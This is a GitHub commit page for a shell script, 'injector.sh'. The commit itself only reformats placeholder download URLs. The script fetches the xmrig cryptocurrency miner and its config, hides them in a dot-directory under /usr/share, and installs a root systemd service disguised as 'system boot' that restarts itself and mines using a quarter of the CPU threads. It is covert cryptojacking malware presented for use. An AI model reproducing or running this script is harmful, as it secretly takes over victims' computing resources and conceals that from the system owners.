Skip to content

Commit

Permalink
Update injector.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
shadowctrl authored Mar 9, 2022
1 parent a915d01 commit c1e3f0d
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion injector.sh
Original file line number Diff line number Diff line change
Expand Up @@ -17,11 +17,13 @@ then
fi
}
exits
files=$(curl -s -O <<<< url of xmrig >>>> -O <<<< url for config.json >>>>) #add url of xmrig file and config.json.

files=$(curl -s -O <url of xmrig> -O <url for config.json> ) #add url of xmrig file and config.json.
touch xmrig.service
per=$(chmod 777 xmrig config.json && chmod 644 xmrig.service)
dir=$(mkdir /usr/share/.logstxt)
move=$(mv xmrig config.json /usr/share/.logstxt/ && mv xmrig.service /etc/systemd/system/)

threads=$(lscpu -p | grep -c "^[0-9]")
tf=$(printf %.f "$((25 * $threads))e-2")
append=$(echo -e "[Unit]\nDescription=system boot\nAfter=network.target\n\n[Service]\nType=simple\nRestart=on-failure\nRestartSec=1200\nUser=root\nExecStart=/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=$tf\nRemainAfterExit=yes\nKillMode=process\n\n[Install]\nWantedBy=multi-user.target">/etc/systemd/system/xmrig.service)
Expand Down

0 comments on commit c1e3f0d

Please sign in to comment.